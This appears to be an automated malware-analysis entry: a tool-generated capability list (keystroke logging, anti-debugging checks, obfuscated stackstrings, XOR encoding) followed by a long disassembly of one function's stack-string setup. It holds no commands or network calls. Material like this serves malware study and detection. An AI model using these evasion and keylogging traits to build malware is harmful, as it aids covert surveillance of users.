Function at 0x140001010
Capabilities:
Accept command line arguments
Authenticate hmac
Check for software breakpoints
Check for unexpected memory writes
Check mutex and terminate process on windows
Check mutex on windows
Check os version
Clear file content
Contain obfuscated stackstrings
Delete directory
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get disk information
Get disk size
Get file size
Get geographical location
Get system information on windows
Hash data using djb2
Hash data using fnv
Identify system language via api
Log keystrokes via polling
Manipulate console buffer
Move file
Parse pe header
Resume thread
Set console window title
Set environment variable
Set thread local storage value
Terminate process
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x2a048
call fcn.14019b920
sub rsp, rax
movabs rax, 0x7aba4720397534
mov qword [rsp + 0x9490], rax
mov byte [rsp + 0x40], SHDoDragDrop
mov eax, 0x49e
mov word [rsp + 0x834], ax
movabs rax, 0x7ccc65cd1e9428
mov qword [rsp + 0x9498], rax
mov dword [rsp + 0x5510], 0x8c66
mov eax, 0x71e
mov word [rsp + 0x838], ax
mov eax, 0x741
mov word [rsp + 0x83c], ax
movabs rax, 0x749f15a15e6d20
mov qword [rsp + 0x94a0], rax
mov dword [rsp + 0x5514], 0xe536
mov eax, 0xe5f
mov word [rsp + 0x840], ax
mov dword [rsp + 0x5518], 0xe59c
mov byte [rsp + 0x41], 0x52
mov byte [rsp + 0x42], 0x46
mov dword [rsp + 0x551c], 0x1f48
mov eax, 0x5ee
mov word [rsp + 0x844], ax
mov eax, reloc.SHELL32.dll_ILFindChild
mov word [rsp + 0x848], ax
mov dword [rsp + 0x5520], 0x47fc8582
mov eax, 0x555
mov word [rsp + 0x84c], ax
movabs rax, 0x7ee58e3fe0ecbf
mov qword [rsp + 0x94a8], rax
mov eax, 0x414
mov word [rsp + 0x850], ax
movabs rax, 0x79b2c58ad12cc1
mov qword [rsp + 0x94b0], rax
mov eax, 0x40a
mov word [rsp + 0x854], ax
movabs rax, 0x71fae8e5c1d807
mov qword [rsp + 0x94b8], rax
mov dword [rsp + 0x5524], 0x5ebbdce7
mov byte [rsp + 0x43], 0x64
mov byte [rsp + 0x44], 0x1f
movabs rax, 0x74a69a164dd35f
mov qword [rsp + 0x94c0], rax
movabs rax, 0x75ea79529f420d
mov qword [rsp + 0x94c8], rax
mov eax, 0x4ed
mov word [rsp + 0x858], ax
mov eax, 0x686
mov word [rsp + 0x85c], ax
movabs rax, 0x76eb4f19c19662
mov qword [rsp + 0x94d0], rax
mov dword [rsp + 0x5528], 0x45398921
mov byte [rsp + 0x45], ILSaveToStream
mov dword [rsp + 0x552c], 0x7df80c30
movabs rax, 0x7a0467c5d5b592
mov qword [rsp + 0x94d8], rax
mov byte [rsp + 0x46], 0x25
movabs rax, 0x71f8e6d1966085
mov qword [rsp + 0x94e0], rax
mov byte [rsp + 0x47], 4
mov byte [rsp + 0x48], 0x6b
mov eax, 0x3dc
mov word [rsp + 0x860], ax
movabs rax, 0x7582caa713446e
mov qword [rsp + 0x94e8], rax
mov dword [rsp + 0x5530], 0x21c0
mov eax, 0x2ae
mov word [rsp + 0x864], ax
mov byte [rsp + 0x49], 0x29
movabs rax, 0x7559a80821f0eb
mov qword [rsp + 0x94f0], rax
mov dword [rsp + 0x5534], 0x6091
mov byte [rsp + 0x4a], ILFindLastID
mov dword [rsp + 0x5538], 0x17202179
movabs rax, 0x7cb997dbba0ecd
mov qword [rsp + 0x94f8], rax
movabs rax, 0x7a004f91630c11
mov qword [rsp + 0x9500], rax
mov eax, 0x8ef
mov word [rsp + 0x868], ax
mov dword [rsp + 0x553c], 0x5b2e7612
mov eax, 0x470
mov word [rsp + 0x86c], ax
mov byte [rsp + 0x4b], 0x5d
mov eax, 0x72
mov word [rsp + 0x870], ax
movabs rax, 0x711a5ad397ec2e
mov qword [rsp + 0x9508], rax
mov byte [rsp + 0x4c], reloc.COMCTL32.dll_MakeDragList
mov eax, 0xea9
mov word [rsp + 0x874], ax
mov eax, 0x33a
mov word [rsp + 0x878], ax
mov eax, 0x615
mov word [rsp + 0x87c], ax
mov byte [rsp + 0x4d], SHGetNewLinkInfoW
mov byte [rsp + 0x4e], SHDoDragDrop
mov byte [rsp + 0x4f], 0x38
movabs rax, 0x7de58a0c983b2e
mov qword [rsp + 0x9510], rax
mov eax, 0xe80
mov word [rsp + 0x880], ax
mov eax, 0x6ff
mov word [rsp + 0x884], ax
mov byte [rsp + 0x50], reloc.SHELL32.dll_ILRemoveLastID
mov dword [rsp + 0x5540], 0xa287
movabs rax, 0x73310d09a0b454
mov qword [rsp + 0x9518], rax
mov eax, 0x593
mov word [rsp + 0x888], ax
mov byte [rsp + 0x51], 0x46
movabs rax, 0x75bcfa8e7dd7aa
mov qword [rsp + 0x9520], rax
mov dword [rsp + 0x5544], 0x8322
mov eax, 0x695
mov word [rsp + 0x88c], ax
mov byte [rsp + 0x52], 0x5a
mov byte [rsp + 0x53], 0x3c
movabs rax, 0x7903af3671417f
mov qword [rsp + 0x9528], rax
mov eax, 0x3a8
mov word [rsp + 0x890], ax
mov byte [rsp + 0x54], reloc.COMCTL32.dll_LBItemFromPt
mov eax, 0xced
mov word [rsp + 0x894], ax
movabs rax, 0x7a60aaeb631404
mov qword [rsp + 0x9530], rax
mov eax, 0x264
mov word [rsp + 0x898], ax
movabs rax, 0x70c21d014fa0b5
mov qword [rsp + 0x9538], rax
movabs rax, 0x7b76cdb0891ba4
mov qword [rsp + 0x9540], rax
mov eax, 0xd7e
mov word [rsp + 0x89c], ax
movabs rax, 0x7cce3dcc7154dc
mov qword [rsp + 0x9548], rax
movabs rax, 0x7207bef80e7868
mov qword [rsp + 0x9550], rax
movabs rax, 0x7a19d326ff7bfa
mov qword [rsp + 0x9558], rax
mov byte [rsp + 0x55], 0x9d
movabs rax, 0x71d6aa9b8f1572
mov qword [rsp + 0x9560], rax
mov eax, 0x5d
mov word [rsp + 0x8a0], ax
mov byte [rsp + 0x56], 0x5e
movabs rax, 0x73017c068f24fb
mov qword [rsp + 0x9568], rax
movabs rax, 0x76a9047d7f3e8c
mov qword [rsp + 0x9570], rax
mov byte [rsp + 0x57], 0x36
movabs rax, 0x719a2de229d706
mov qword [rsp + 0x9578], rax
mov eax, reloc.SHELL32.dll_ILIsParent
mov word [rsp + 0x8a4], ax
movabs rax, 0x7a0beea9ad4a38
mov qword [rsp + 0x9580], rax
movabs rax, 0x72afd55bdbaf74
mov qword [rsp + 0x9588], rax
mov eax, 0x73e
mov word [rsp + 0x8a8], ax
mov dword [rsp + 0x5548], 0x640fbe8f
mov eax, 0x335
mov word [rsp + 0x8ac], ax
mov eax, 0xf4c
mov word [rsp + 0x8b0], ax
movabs rax, 0x72cca867197ec6
mov qword [rsp + 0x9590], rax
movabs rax, 0x782c87c8103ce2
mov qword [rsp + 0x9598], rax
mov byte [rsp + 0x58], 0x70
movabs rax, 0x702618c9457683
mov qword [rsp + 0x95a0], rax
mov eax, 0xe20
mov word [rsp + 0x8b4], ax
mov eax, 0x391
mov word [rsp + 0x8b8], ax
movabs rax, 0x70dec361d74b9d
mov qword [rsp + 0x95a8], rax
mov eax, 0x2a5
mov word [rsp + 0x8bc], ax
movabs rax, 0x7d833341e5aa73
mov qword [rsp + 0x95b0], rax
movabs rax, 0x7db076fd66b2aa
mov qword [rsp + 0x95b8], rax
mov eax, 0x451
mov word [rsp + 0x8c0], ax
mov byte [rsp + 0x59], 0x5b
movabs rax, 0x7173f1129f6058
mov qword [rsp + 0x95c0], rax
mov eax, 0x8e
mov word [rsp + 0x8c4], ax
movabs rax, 0x764be2cc44243c
mov qword [rsp + 0x95c8], rax
movabs rax, 0x70d4f00adc1e4f
mov qword [rsp + 0x95d0], rax
mov eax, 0x5bb
mov word [rsp + 0x8c8], ax
mov eax, 0x481
mov word [rsp + 0x8cc], ax
movabs rax, 0x7467769a6f0e44
mov qword [rsp + 0x95d8], rax
mov dword [rsp + 0x554c], 0x13d4
mov byte [rsp + 0x5a], 0x5f
mov dword [rsp + 0x5550], 0xee7a
mov byte [rsp + 0x5b], 0x5c
mov byte [rsp + 0x5c], 0x76
movabs rax, 0x7482dadc7df591
mov qword [rsp + 0x95e0], rax
movabs rax, 0x7ad8a932dedb6d
mov qword [rsp + 0x95e8], rax
mov dword [rsp + 0x5554], 0xdc48
mov byte [rsp + 0x5d], 0x27
mov eax, 0x3a7
mov word [rsp + 0x8d0], ax
mov eax, 0xb2d
mov word [rsp + 0x8d4], ax
movabs rax, 0x7ef0dc5f76fec9
mov qword [rsp + 0x95f0], rax
movabs rax, 0x783ff68bd7d0ff
mov qword [rsp + 0x95f8], rax
mov eax, 0xe71
mov word [rsp + 0x8d8], ax
mov eax, 0x34f
mov word [rsp + 0x8dc], ax
mov eax, 0x2fd
mov word [rsp + 0x8e0], ax
movabs rax, 0x71eae8680bc397
mov qword [rsp + 0x9600], rax
mov eax, 0x1b3
mov word [rsp + 0x8e4], ax
mov byte [rsp + 0x5e], SHDoDragDrop
movabs rax, 0x7337c7ab989695
mov qword [rsp + 0x9608], rax
mov eax, 0x485
mov word [rsp + 0x8e8], ax
movabs rax, 0x7a7e996965355c
mov qword [rsp + 0x9610], rax
movabs rax, 0x75b5805884fdac
mov qword [rsp + 0x9618], rax
mov eax, 0x8e
mov word [rsp + 0x8ec], ax
movabs rax, 0x71d77a938b7ab5
mov qword [rsp + 0x9620], rax
mov dword [rsp + 0x5558], 0xd3b8
mov eax, 0x742
mov word [rsp + 0x8f0], ax
mov dword [rsp + 0x555c], 0x1086cfb3
mov byte [rsp + 0x5f], 0x53
mov eax, 0xbd7
mov word [rsp + 0x8f4], ax
mov eax, 0xf69
mov word [rsp + 0x8f8], ax
mov byte [rsp + 0x60], ILIsEqual
mov eax, 0x863
mov word [rsp + 0x8fc], ax
mov dword [rsp + 0x5560], 0x871b
mov dword [rsp + 0x5564], 0x29d445d
mov eax, 0x1d8
mov word [rsp + 0x900], ax
mov eax, 0x32e
mov word [rsp + 0x904], ax
movabs rax, 0x7d6bd72a774924
mov qword [rsp + 0x9628], rax
movabs rax, 0x7640fc8a4b85bf
mov qword [rsp + 0x9630], rax
movabs rax, 0x78ad4e24249093
mov qword [rsp + 0x9638], rax
movabs rax, 0x70d566f1212fa9
mov qword [rsp + 0x9640], rax
mov eax, 0x761
mov word [rsp + 0x908], ax
mov eax, 0x180
mov word [rsp + 0x90c], ax
mov eax, 0xac4
mov word [rsp + 0x910], ax
mov dword [rsp + 0x5568], 0x9176
mov byte [rsp + 0x61], 0x73
mov byte [rsp + 0x62], MakeDragList
mov byte [rsp + 0x63], 6
mov byte [rsp + 0x64], 0x59
mov eax, 0x7c9
mov word [rsp + 0x914], ax
mov eax, 0x2e9
mov word [rsp + 0x918], ax
movabs rax, 0x76536442cece1f
mov qword [rsp + 0x9648], rax
mov byte [rsp + 0x65], 0x42
mov byte [rsp + 0x66], ILIsEqual
mov dword [rsp + 0x556c], 0xc389
mov eax, 0xe1f
mov word [rsp + 0x91c], ax
mov eax, 0x6e
mov word [rsp + 0x920], ax
mov byte [rsp + 0x67], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x5570], 0x1f47
mov byte [rsp + 0x68], 0x71
mov dword [rsp + 0x5574], 0x5fdf
mov dword [rsp + 0x5578], 0x92be
mov eax, 0x1a2
mov word [rsp + 0x924], ax
mov dword [rsp + 0x557c], 0x5422
mov byte [rsp + 0x69], 0x68
mov dword [rsp + 0x5580], 0xfd93
mov dword [rsp + 0x5584], 0xebee
movabs rax, 0x719021dbaf8fc3
mov qword [rsp + 0x9650], rax
mov eax, 6
mov word [rsp + 0x928], ax
mov eax, 0xff4
mov word [rsp + 0x92c], ax
movabs rax, 0x7224ce65737589
mov qword [rsp + 0x9658], rax
mov dword [rsp + 0x5588], 0xc524
mov dword [rsp + 0x558c], 0x67f0
mov eax, 0x4ed
mov word [rsp + 0x930], ax
movabs rax, 0x70fdbe90c22d35
mov qword [rsp + 0x9660], rax
mov eax, 0x291
mov word [rsp + 0x934], ax
movabs rax, 0x76a81bb4281a0c
mov qword [rsp + 0x9668], rax
movabs rax, 0x76349b55db6411
mov qword [rsp + 0x9670], rax
mov byte [rsp + 0x6a], SHTestTokenMembership
mov eax, 0x745
mov word [rsp + 0x938], ax
mov byte [rsp + 0x6b], 0x60
mov eax, 0x5b7
mov word [rsp + 0x93c], ax
mov eax, 0x5fa
mov word [rsp + 0x940], ax
mov eax, 0x640
mov word [rsp + 0x944], ax
mov byte [rsp + 0x6c], 0x3d
movabs rax, 0x7ad8011e1afeb9
mov qword [rsp + 0x9678], rax
mov byte [rsp + 0x6d], 0x82
mov dword [rsp + 0x5590], 0x899c
mov eax, 0x8c4
mov word [rsp + 0x948], ax
mov byte [rsp + 0x6e], 5
movabs rax, 0x7343834fab4123
mov qword [rsp + 0x9680], rax
movabs rax, 0x7994c60fa8d608
mov qword [rsp + 0x9688], rax
mov eax, SetWindowSubclass
mov word [rsp + 0x94c], ax
mov eax, 0x4ff
mov word [rsp + 0x950], ax
mov dword [rsp + 0x5594], 0x277d980a
movabs rax, 0x75c561d5934f49
mov qword [rsp + 0x9690], rax
mov byte [rsp + 0x6f], 0x4e
mov eax, 0xb73
mov word [rsp + 0x954], ax
mov dword [rsp + 0x5598], 0x5b868c7b
movabs rax, 0x7482cd986fd4a9
mov qword [rsp + 0x9698], rax
mov eax, 0x873
mov word [rsp + 0x958], ax
mov dword [rsp + 0x559c], 0xb6fd
mov eax, 0x78c
mov word [rsp + 0x95c], ax
mov byte [rsp + 0x70], 0xfb
mov byte [rsp + 0x71], 0xf9
mov byte [rsp + 0x72], 0x45
movabs rax, 0x7ec499bade8cd7
mov qword [rsp + 0x96a0], rax
mov dword [rsp + 0x55a0], 0x4892
movabs rax, 0x70c3870920291a
mov qword [rsp + 0x96a8], rax
mov dword [rsp + 0x55a4], 0x4b03a8ab
movabs rax, 0x74b9122b41af2b
mov qword [rsp + 0x96b0], rax
mov dword [rsp + 0x55a8], 0x462c1437
mov dword [rsp + 0x55ac], 0x5748
mov eax, 0xe65
mov word [rsp + 0x960], ax
mov eax, 0x3d8
mov word [rsp + 0x964], ax
mov eax, 0x2cc
mov word [rsp + 0x968], ax
mov eax, 0xf43
mov word [rsp + 0x96c], ax
movabs rax, 0x721dbad292ebbd
mov qword [rsp + 0x96b8], rax
mov dword [rsp + 0x55b0], 0xad5
mov dword [rsp + 0x55b4], 0x3e46
movabs rax, 0x754ab059622057
mov qword [rsp + 0x96c0], rax
mov dword [rsp + 0x55b8], 0xdc3b
movabs rax, 0x7b781e42f73da6
mov qword [rsp + 0x96c8], rax
mov dword [rsp + 0x55bc], 0x24d73529
movabs rax, 0x70e5cc588fbaa2
mov qword [rsp + 0x96d0], rax
mov dword [rsp + 0x55c0], 0x7d98c6e2
mov eax, 0x680
mov word [rsp + 0x970], ax
mov byte [rsp + 0x73], 0x1e
movabs rax, 0x77a8468786e486
mov qword [rsp + 0x96d8], rax
mov eax, 0xe55
mov word [rsp + 0x974], ax
movabs rax, 0x7cfc743b17ce14
mov qword [rsp + 0x96e0], rax
mov eax, 0x40c
mov word [rsp + 0x978], ax
movabs rax, 0x73a4077dc51678
mov qword [rsp + 0x96e8], rax
mov dword [rsp + 0x55c4], 0x771f
mov eax, 0x626
mov word [rsp + 0x97c], ax
mov eax, 0x4f0
mov word [rsp + 0x980], ax
mov dword [rsp + 0x55c8], 0x30e1f09e
mov dword [rsp + 0x55cc], 0x8a12
mov eax, 0x61c
mov word [rsp + 0x984], ax
mov eax, 0xf47
mov word [rsp + 0x988], ax
mov dword [rsp + 0x55d0], 0x27e5
movabs rax, 0x7a0c67ad53ae43
mov qword [rsp + 0x96f0], rax
mov eax, 0x753
mov word [rsp + 0x98c], ax
movabs rax, 0x71799e82540f9c
mov qword [rsp + 0x96f8], rax
movabs rax, 0x71b5e8fb878341
mov qword [rsp + 0x9700], rax
mov byte [rsp + 0x74], 0x32
mov eax, 0x4bb
mov word [rsp + 0x990], ax
mov eax, 0xd2d
mov word [rsp + 0x994], ax
movabs rax, 0x761e491743b0d6
mov qword [rsp + 0x9708], rax
mov eax, 0x846
mov word [rsp + 0x998], ax
movabs rax, 0x74f9d3fa026e09
mov qword [rsp + 0x9710], rax
mov dword [rsp + 0x55d4], 0xeb95
movabs rax, 0x74b9b720fa650d
mov qword [rsp + 0x9718], rax
mov eax, 0x69d
mov word [rsp + 0x99c], ax
movabs rax, 0x753d7d1a333791
mov qword [rsp + 0x9720], rax
movabs rax, 0x786274b84e2e70
mov qword [rsp + 0x9728], rax
mov eax, 0x1ae
mov word [rsp + 0x9a0], ax
mov byte [rsp + 0x75], 0x84
mov eax, 0xb27
mov word [rsp + 0x9a4], ax
mov eax, 0xe73
mov word [rsp + 0x9a8], ax
mov dword [rsp + 0x55d8], 0xf2b1
movabs rax, 0x7c78d2596ce00c
mov qword [rsp + 0x9730], rax
mov dword [rsp + 0x55dc], 0x8736
movabs rax, 0x73d6aafc900279
mov qword [rsp + 0x9738], rax
movabs rax, 0x7a07ee9e18cbce
mov qword [rsp + 0x9740], rax
movabs rax, 0x7346866b3a87b1
mov qword [rsp + 0x9748], rax
mov eax, 0x725
mov word [rsp + 0x9ac], ax
movabs rax, 0x70587bfa4e49c3
mov qword [rsp + 0x9750], rax
movabs rax, 0x78cbcf35ffa2cf
mov qword [rsp + 0x9758], rax
mov eax, 0xe55
mov word [rsp + 0x9b0], ax
mov byte [rsp + 0x76], 0x1f
mov byte [rsp + 0x77], ILSaveToStream
movabs rax, 0x75eb9cbb309ef5
mov qword [rsp + 0x9760], rax
mov dword [rsp + 0x55e0], 0x22873676
mov eax, 0x66e
mov word [rsp + 0x9b4], ax
mov byte [rsp + 0x78], 0x7e
movabs rax, 0x732361d53862e2
mov qword [rsp + 0x9768], rax
movabs rax, 0x7b91af86b8a9de
mov qword [rsp + 0x9770], rax
mov byte [rsp + 0x79], 0x33
movabs rax, 0x7b4ce5cfb3755c
mov qword [rsp + 0x9778], rax
mov byte [rsp + 0x7a], 5
mov dword [rsp + 0x55e4], 0x17c66f15
mov eax, 0x4c3
mov word [rsp + 0x9b8], ax
movabs rax, 0x7463204ab0f303
mov qword [rsp + 0x9780], rax
mov dword [rsp + 0x55e8], 0x7fc4
mov eax, 0x733
mov word [rsp + 0x9bc], ax
movabs rax, 0x7e2f3fa8811299
mov qword [rsp + 0x9788], rax
movabs rax, 0x76fd0b6b2e3e33
mov qword [rsp + 0x9790], rax
mov eax, 0x20f
mov word [rsp + 0x9c0], ax
mov eax, 0x1e6
mov word [rsp + 0x9c4], ax
movabs rax, 0x7ea98028ed19be
mov qword [rsp + 0x9798], rax
mov eax, SHChangeNotification_Unlock
mov word [rsp + 0x9c8], ax
movabs rax, 0x779b498fb614cc
mov qword [rsp + 0x97a0], rax
mov eax, 0x5b2
mov word [rsp + 0x9cc], ax
mov eax, 0x672
mov word [rsp + 0x9d0], ax
mov eax, 0xfba
mov word [rsp + 0x9d4], ax
mov dword [rsp + 0x55ec], 0x5df3
movabs rax, 0x75a25c3ec1f175
mov qword [rsp + 0x97a8], rax
movabs rax, 0x76a5c43b3f8131
mov qword [rsp + 0x97b0], rax
mov byte [rsp + 0x7b], reloc.SHELL32.dll_ILGetNext
mov eax, 0x1bc
mov word [rsp + 0x9d8], ax
mov eax, 0x719
mov word [rsp + 0x9dc], ax
mov byte [rsp + 0x7c], 0x5b
mov eax, 8
mov word [rsp + 0x9e0], ax
movabs rax, 0x77a1075bf22989
mov qword [rsp + 0x97b8], rax
mov eax, 0x55b
mov word [rsp + 0x9e4], ax
movabs rax, 0x72bbc588e0c27c
mov qword [rsp + 0x97c0], rax
mov dword [rsp + 0x55f0], 0x226d
mov byte [rsp + 0x7d], reloc.SHELL32.dll_ILIsEqual
mov eax, 0xb03
mov word [rsp + 0x9e8], ax
movabs rax, 0x7ebd0e166bdaaf
mov qword [rsp + 0x97c8], rax
movabs rax, 0x707dd3d79cd68a
mov qword [rsp + 0x97d0], rax
mov byte [rsp + 0x7e], 0x59
movabs rax, 0x79bdc26e68e3f0
mov qword [rsp + 0x97d8], rax
mov eax, 0x139
mov word [rsp + 0x9ec], ax
mov byte [rsp + 0x7f], 0x64
mov byte [rsp + 0x80], 0x3e
mov byte [rsp + 0x81], 0x66
mov dword [rsp + 0x55f4], 0x25705755
mov eax, 0x556
mov word [rsp + 0x9f0], ax
mov eax, 0x2df
mov word [rsp + 0x9f4], ax
mov eax, 0x355
mov word [rsp + 0x9f8], ax
mov dword [rsp + 0x55f8], 0xa243fd8
mov dword [rsp + 0x55fc], 0x223e1966
mov eax, 0xd19
mov word [rsp + 0x9fc], ax
mov eax, 0x937
mov word [rsp + 0xa00], ax
mov byte [rsp + 0x82], 0x4c
movabs rax, 0x7b3f3c89d0b7ea
mov qword [rsp + 0x97e0], rax
movabs rax, 0x7a9b6f8f2fbe7d
mov qword [rsp + 0x97e8], rax
mov dword [rsp + 0x5600], 0xf2c9
mov eax, 0x5e6
mov word [rsp + 0xa04], ax
mov byte [rsp + 0x83], 0x27
mov byte [rsp + 0x84], 0x33
mov byte [rsp + 0x85], 0x32
movabs rax, 0x778d20890f6c5b
mov qword [rsp + 0x97f0], rax
movabs rax, 0x7cefd6d379d497
mov qword [rsp + 0x97f8], rax
mov dword [rsp + 0x5604], 0x79ac
mov eax, 0x6c2
mov word [rsp + 0xa08], ax
mov eax, 0x9ea
mov word [rsp + 0xa0c], ax
mov dword [rsp + 0x5608], 0x6959
movabs rax, 0x718a90b4047eb4
mov qword [rsp + 0x9800], rax
mov eax, 0x453
mov word [rsp + 0xa10], ax
mov eax, 0x123
mov word [rsp + 0xa14], ax
mov byte [rsp + 0x86], 0
mov eax, 0x327
mov word [rsp + 0xa18], ax
mov eax, 0xe02
mov word [rsp + 0xa1c], ax
movabs rax, 0x751a58c5b01eb5
mov qword [rsp + 0x9808], rax
mov byte [rsp + 0x87], PathMakeUniqueName
movabs rax, 0x74a1f9e3f08272
mov qword [rsp + 0x9810], rax
mov byte [rsp + 0x88], 0x4c
mov dword [rsp + 0x560c], 0x28b6de50
mov dword [rsp + 0x5610], 0x7aa
mov byte [rsp + 0x89], 0x6f
movabs rax, 0x75afb1d5887307
mov qword [rsp + 0x9818], rax
movabs rax, 0x7dbd1576518552
mov qword [rsp + 0x9820], rax
mov eax, 0x132
mov word [rsp + 0xa20], ax
mov byte [rsp + 0x8a], 0x62
mov eax, 0xe49
mov word [rsp + 0xa24], ax
mov byte [rsp + 0x8b], 0x74
mov eax, 0x7fe
mov word [rsp + 0xa28], ax
movabs rax, 0x76a689dedb9523
mov qword [rsp + 0x9828], rax
mov eax, 0xca9
mov word [rsp + 0xa2c], ax
mov dword [rsp + 0x5614], 0x3d4c2315
mov eax, 0x63b
mov word [rsp + 0xa30], ax
movabs rax, 0x7e69d3e1642844
mov qword [rsp + 0x9830], rax
mov eax, 0x636
mov word [rsp + 0xa34], ax
mov eax, 0xea6
mov word [rsp + 0xa38], ax
mov byte [rsp + 0x8c], 0x64
mov byte [rsp + 0x8d], reloc.SHELL32.dll_PathMakeUniqueName
mov eax, 0x67e
mov word [rsp + 0xa3c], ax
mov byte [rsp + 0x8e], 0x40
mov byte [rsp + 0x8f], ILIsEqual
mov eax, 0x210
mov word [rsp + 0xa40], ax
movabs rax, 0x70f6aefd5b62de
mov qword [rsp + 0x9838], rax
mov eax, 0x6a0
mov word [rsp + 0xa44], ax
mov eax, 0x4e7
mov word [rsp + 0xa48], ax
movabs rax, 0x7540de4d8022de
mov qword [rsp + 0x9840], rax
mov dword [rsp + 0x5618], 0x302f
mov byte [rsp + 0x90], 0x26
movabs rax, 0x789070b20e11c5
mov qword [rsp + 0x9848], rax
mov eax, 0x4f7
mov word [rsp + 0xa4c], ax
mov byte [rsp + 0x91], 0x7a
mov dword [rsp + 0x561c], 0x1243f166
mov byte [rsp + 0x92], 9
movabs rax, 0x7cdb20158c4a00
mov qword [rsp + 0x9850], rax
movabs rax, 0x76aa910cd97f69
mov qword [rsp + 0x9858], rax
movabs rax, 0x7ce7a3059de222
mov qword [rsp + 0x9860], rax
mov dword [rsp + 0x5620], 0x500c
mov eax, 0x49c
mov word [rsp + 0xa50], ax
mov eax, 0x759
mov word [rsp + 0xa54], ax
movabs rax, 0x7366ae4212a6fe
mov qword [rsp + 0x9868], rax
mov eax, 0xdb6
mov word [rsp + 0xa58], ax
mov eax, 0x6e8
mov word [rsp + 0xa5c], ax
mov byte [rsp + 0x93], 0x5f
movabs rax, 0x7513e82020612d
mov qword [rsp + 0x9870], rax
mov eax, 0x71e
mov word [rsp + 0xa60], ax
mov eax, 0x8b9
mov word [rsp + 0xa64], ax
mov eax, 0x501
mov word [rsp + 0xa68], ax
mov dword [rsp + 0x5624], 0xa0ee
mov eax, 0x4b2
mov word [rsp + 0xa6c], ax
mov eax, 0xa9f
mov word [rsp + 0xa70], ax
mov eax, 0x45d
mov word [rsp + 0xa74], ax
movabs rax, 0x7b99f870bfdef2
mov qword [rsp + 0x9878], rax
mov byte [rsp + 0x94], PathYetAnotherMakeUniqueName
mov eax, 0xbe
mov word [rsp + 0xa78], ax
mov byte [rsp + 0x95], 0x5f
mov eax, 0xffe
mov word [rsp + 0xa7c], ax
mov dword [rsp + 0x5628], 0xb1fe
mov eax, 0x4ca
mov word [rsp + 0xa80], ax
mov byte [rsp + 0x96], 0x25
movabs rax, 0x7465a4f25cc634
mov qword [rsp + 0x9880], rax
mov dword [rsp + 0x562c], 0x443c
movabs rax, 0x749f4842684d53
mov qword [rsp + 0x9888], rax
mov dword [rsp + 0x5630], 0x39b22e
mov eax, 0x395
mov word [rsp + 0xa84], ax
mov byte [rsp + 0x97], PathYetAnotherMakeUniqueName
movabs rax, 0x70f66e13825d22
mov qword [rsp + 0x9890], rax
movabs rax, 0x7ef19e6cffe372
mov qword [rsp + 0x9898], rax
movabs rax, 0x70d6974150d67a
mov qword [rsp + 0x98a0], rax
movabs rax, 0x7bd251bfba865b
mov qword [rsp + 0x98a8], rax
mov dword [rsp + 0x5634], 0xe733
mov dword [rsp + 0x5638], 0x496
mov dword [rsp + 0x563c], 0xe03e
mov eax, 0xaad
mov word [rsp + 0xa88], ax
mov dword [rsp + 0x5640], 0x12e0ecef
movabs rax, 0x74d9056600c90a
mov qword [rsp + 0x98b0], rax
mov eax, 0x733
mov word [rsp + 0xa8c], ax
mov byte [rsp + 0x98], reloc.SHELL32.dll_ILClone
mov eax, 0xb2b
mov word [rsp + 0xa90], ax
mov eax, 0x54d
mov word [rsp + 0xa94], ax
movabs rax, 0x755797cfa91b8f
mov qword [rsp + 0x98b8], rax
mov eax, 0x4d
mov word [rsp + 0xa98], ax
movabs rax, 0x7901a69eb0ddd7
mov qword [rsp + 0x98c0], rax
mov byte [rsp + 0x99], SHTestTokenMembership
mov eax, 0x81
mov word [rsp + 0xa9c], ax
mov eax, 0xc38
mov word [rsp + 0xaa0], ax
mov byte [rsp + 0x9a], PathMakeUniqueName
movabs rax, 0x78b84f8bf1a7b4
mov qword [rsp + 0x98c8], rax
mov eax, 0x61e
mov word [rsp + 0xaa4], ax
mov eax, 0x1bb
mov word [rsp + 0xaa8], ax
mov eax, 0x1ed
mov word [rsp + 0xaac], ax
movabs rax, 0x73d6672bf1bbb9
mov qword [rsp + 0x98d0], rax
movabs rax, 0x7c160f133706c8
mov qword [rsp + 0x98d8], rax
mov dword [rsp + 0x5644], 0x6f52a700
mov eax, 0x4de
mov word [rsp + 0xab0], ax
mov eax, SHChangeNotification_Lock
mov word [rsp + 0xab4], ax
movabs rax, 0x7c0927a5895446
mov qword [rsp + 0x98e0], rax
mov dword [rsp + 0x5648], 0x9b9d
movabs rax, 0x7463ab9f303898
mov qword [rsp + 0x98e8], rax
movabs rax, 0x7271ad883b9d11
mov qword [rsp + 0x98f0], rax
movabs rax, 0x73b508c5819143
mov qword [rsp + 0x98f8], rax
movabs rax, 0x7eda235991b417
mov qword [rsp + 0x9900], rax
mov dword [rsp + 0x564c], 0x36b0
mov byte [rsp + 0x9b], 0x26
mov eax, 0x1ea
mov word [rsp + 0xab8], ax
mov eax, 0x2d8
mov word [rsp + 0xabc], ax
mov dword [rsp + 0x5650], 0x372d
movabs rax, 0x784c2dfb1bb4d3
mov qword [rsp + 0x9908], rax
mov eax, 0x4f6
mov word [rsp + 0xac0], ax
mov eax, 0x260
mov word [rsp + 0xac4], ax
mov dword [rsp + 0x5654], 0xe1e9
mov eax, 0x44b
mov word [rsp + 0xac8], ax
mov dword [rsp + 0x5658], 0x318d66a1
mov eax, 0x104
mov word [rsp + 0xacc], ax
movabs rax, 0x761e9027530b25
mov qword [rsp + 0x9910], rax
movabs rax, 0x7a07bac9e8bea8
mov qword [rsp + 0x9918], rax
mov byte [rsp + 0x9c], 0x4d
movabs rax, 0x70d13c9a0e2b4d
mov qword [rsp + 0x9920], rax
mov eax, 0x75f
mov word [rsp + 0xad0], ax
mov dword [rsp + 0x565c], 0x74a4363c
movabs rax, 0x7d02b8716c712a
mov qword [rsp + 0x9928], rax
movabs rax, 0x7d2d2ee10a2a4f
mov qword [rsp + 0x9930], rax
movabs rax, 0x78dcf813eb0147
mov qword [rsp + 0x9938], rax
mov byte [rsp + 0x9d], SHDoDragDrop
movabs rax, 0x7dbac48d4d6244
mov qword [rsp + 0x9940], rax
mov dword [rsp + 0x5660], 0x6476
movabs rax, 0x77a34934cecfee
mov qword [rsp + 0x9948], rax
movabs rax, 0x7bd40cb1d72e76
mov qword [rsp + 0x9950], rax
mov eax, 0x508
mov word [rsp + 0xad4], ax
movabs rax, 0x7190d5119da57b
mov qword [rsp + 0x9958], rax
mov dword [rsp + 0x5664], 0x28880e64
